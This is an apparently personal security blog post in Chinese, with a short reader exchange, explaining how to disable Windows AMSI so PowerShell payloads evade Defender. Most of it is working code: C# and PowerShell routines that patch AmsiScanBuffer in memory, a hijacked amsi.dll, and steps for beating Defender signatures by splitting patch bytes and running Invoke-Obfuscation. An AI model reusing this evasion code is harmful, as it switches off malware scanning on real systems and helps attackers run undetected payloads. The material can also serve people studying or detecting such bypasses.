bypassAMSI Wd
bypassAMSI Wd
PS:做项目中偶尔会遇到一些情况,分享主要是为了学习和整理记录,了解一些常见工具原理,希望各位大佬能够多多指正。由于开发有点水,能够实现,但是距离实现武器化落地还是有些距离。能够给各位大佬提供些思路也好。
AMSI
AMSI概念
AMSI的全称是反恶意软件扫描接口(Anti-Malware Scan Interface),是从Windows 10开始引入的一种机制。
amsi主要在项目中遇到的就是在运行ps/和实现无文件落地的时候被拦截。
在使用ProcessExplorer 查看powershell.exe行为其实是调用了C:\windows\system32\amsi.dll
。
安装fridapython.exe -m pip install frida -i https://pypi.tuna.tsinghua.edu.cn/simple python.exe -m pip install frida-tools -i https://pypi.tuna.tsinghua.edu.cn/simple
使用frida查看powershell调用amsi.dll的导出函数
可以看到调用的函数是AmsiScanBuffer
AmsiScanBuffer的函数原型如下:
HRESULT AmsiScanBuffer(
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result
);
已知目标函数那么就可以进行下一步了。
使用windbg看下内存。
bp AmsiScanBuffer //下断点
TA //运行到断点处
根据41yf1sh
的文章中写的,需要关注的就是mov edi, r8d
。这里在x64调用约定中保存的AmsiScanBuffer
第三个参数length
,通过path使length始终为0。修改为xor edi,edi
,操作码{0x31, 0xff, 0x90}
。使得AmsiScanBuffer无效,因为它会始终认为正在扫描长度为0的缓冲区。由于这一修补过程是在powershell中完成的,因此效果只是针对改powershell生效。
bypass Amsi
Dll劫持
https://sensepost.com/blog/2020/resurrecting-an-old-amsi-bypass/
本来之前有找到作用导出函数,但是使用AheadLib
导出的代码,内联汇编没办法编译成x64。。。然后从ida中看到他导出函数是Dllmain。
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
让amsi走个过场就能绕过了。而且什么行为都没有。。。dll也不会被杀。(x64_debug)
dll路径: C:\windows\system32\windowspowershell\v1.0\amsi.dll
效果:
还看到16年嘶吼有人发过dll劫持利用执行恶意行为。(比如文中用runas创建个用户什么的,在powershell加载过程中跳UAC)。
如何利用 DLL hijack 轻松绕过AMSI?
Powershell Patch
64位
using System;
using System.Runtime.InteropServices;
namespace z
{
public class x
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
static extern void MoveMemory(IntPtr dest, IntPtr src, int size);
public static int c()
{
IntPtr TargetDLL = LoadLibrary("amsi.dll");
if (TargetDLL == IntPtr.Zero) { return 1; }
IntPtr ASBPtr = GetProcAddress(TargetDLL, "Amsi" + "Scan" + "Buffer");
if (ASBPtr == IntPtr.Zero) { return 1; }
UIntPtr dwSize = (UIntPtr)5;
uint Zero = 0;
if (!VirtualProtect(ASBPtr, dwSize, 0x40, out Zero)) { return 1; }
Byte[] Patch = { 0x31, 0xff, 0x90 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
Marshal.Copy(Patch, 0, unmanagedPointer, 3);
MoveMemory(ASBPtr + 0x001b, unmanagedPointer, 3);
return 0;
}
}
}
[System.Reflection.Assembly]::LoadFile("C:\users\fbiwarning\Desktop\passdll.dll")
[z.x]::c()
然鹅M。M,,报错了,
查了下资料是由于0x001b这个偏移量被修改了?本来就只适用于64位的powershell,但是不是特别靠谱。
32位 & 64位
同样如果执行IEX执行后也有肯能被拦截。
比如启用cs自带的stage的话他会新建一个32位子进程powershell,而启动的powershell是存在完整amsi.dll
,导致被拦截,所以也需要一个相对通用的path方法。
看到https://github.com/rasta-mouse/AmsiScanBufferBypass/commit/050dae393338ae5b12789b2453b728a93ee1dcd4
提交的修改以及写的pt3部分。
他根据所有指令后条件跳转都是跳转到0x180024f5
,所以他猜测指令AMSI_RESULT_CLEAN其中的内容是mov eax, 0x80070057
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
这里有个问题,直接使用上面的ps脚本本身就会被拦截。那么就有两条路走,一条是对代码混淆,绕过amsi,,,,另一条是使用C#的dll,再用powershell动态加载。
混淆内容
或者分段去执行
DLL加载:
using System;
using System.Runtime.InteropServices;
public class Amsi
{
// https://twitter.com/_xpn_/status/1170852932650262530
static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
public static void Bypass()
{
if (is64Bit())
PatchAmsi(x64);
else
PatchAmsi(x86);
}
private static void PatchAmsi(byte[] patch)
{
try
{
var lib = Win32.LoadLibrary("amsi.dll");
var addr = Win32.GetProcAddress(lib, "AmsiScanBuffer");
uint oldProtect;
Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);
Marshal.Copy(patch, 0, addr, patch.Length);
}
catch (Exception e)
{
Console.WriteLine(" [x] {0}", e.Message);
Console.WriteLine(" [x] {0}", e.InnerException);
}
}
private static bool is64Bit()
{
bool is64Bit = true;
if (IntPtr.Size == 4)
is64Bit = false;
return is64Bit;
}
}
class Win32
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
[System.Reflection.Assembly]::LoadFile("C:\users\fbiwarning\Desktop\passdll.dll")
[Amsi]::Bypass()
至于PE文件怎么做免杀就看各自发挥了。
C:\>DefenderCheck.exe passdll.dll
Target file size: 5120 bytes
Analyzing...
[!] Identified end of bad bytes at offset 0xD5A in the original file
File matched signature: "Trojan:Win32/AmsiTamper.B"
00000000 61 61 35 34 38 38 2D 34 33 39 33 2D 34 65 61 39 aa5488-4393-4ea9
00000010 2D 62 64 30 36 2D 37 34 39 32 31 39 64 61 36 65 -bd06-749219da6e
00000020 35 34 00 00 0C 01 00 07 31 2E 30 2E 30 2E 30 00 54······1.0.0.0·
00000030 00 4D 01 00 1C 2E 4E 45 54 46 72 61 6D 65 77 6F ·M···.NETFramewo
00000040 72 6B 2C 56 65 72 73 69 6F 6E 3D 76 34 2E 36 2E rk,Version=v4.6.
00000050 31 01 00 54 0E 14 46 72 61 6D 65 77 6F 72 6B 44 1··T··FrameworkD
00000060 69 73 70 6C 61 79 4E 61 6D 65 14 2E 4E 45 54 20 isplayName·.NET
00000070 46 72 61 6D 65 77 6F 72 6B 20 34 2E 36 2E 31 04 Framework 4.6.1·
00000080 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ················
00000090 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 ················
000000A0 00 00 24 2B 00 00 00 00 00 00 00 00 00 00 3E 2B ··$+··········>+
000000B0 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 ··· ············
000000C0 00 00 00 00 00 00 00 00 00 00 30 2B 00 00 00 00 ··········0+····
000000D0 00 00 00 00 00 00 00 00 5F 43 6F 72 44 6C 6C 4D ········_CorDllM
000000E0 61 69 6E 00 6D 73 63 6F 72 65 65 2E 64 6C 6C 00 ain·mscoree.dll·
000000F0 00 00 00 00 FF 25 00 20 00 10 B8 57 00 07 80 C3 ····?%· ··?W··??
特征码基本确认是这行
static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
把操作码分开在字符串拼接下就好了。
static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00 };
static byte[] x64_2 = { 0x07, 0x80, 0xC3 };
byte[] data = x64;
byte[] counts = x64_2;
byte[] ndata = new byte[data.Length + counts.Length];
data.CopyTo(ndata, 0);
counts.CopyTo(ndata, data.Length);
混淆内容
接上面,ps1既然被拦截了,分段找特征最后定位到了Copy方法
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6) //覆盖内存内容
既然定位到了就用Invoke-Obfuscation去混淆下,尝试下能不能绕过。
Import-Module .\Invoke-Obfuscation.psd1; Invoke-Obfuscation
最终结果如下:
测试:
有关特征定位的问题除了手工去测还可以使用AMSITrigger
去自动跑。
测试效果。
--admin@8sec.cc
https://rastamouse.me/blog/asb-bypass-pt4/
https://xz.aliyun.com/t/5351
https://xz.aliyun.com/t/4377
https://www.4hou.com/posts/xlN3
师傅方便说一下frida打印出powershell调用amsi.dll的导出函数具体命令嘛
@shioh frida-trace -p powershell.exe_pid -X amsi.dll -i Amsi*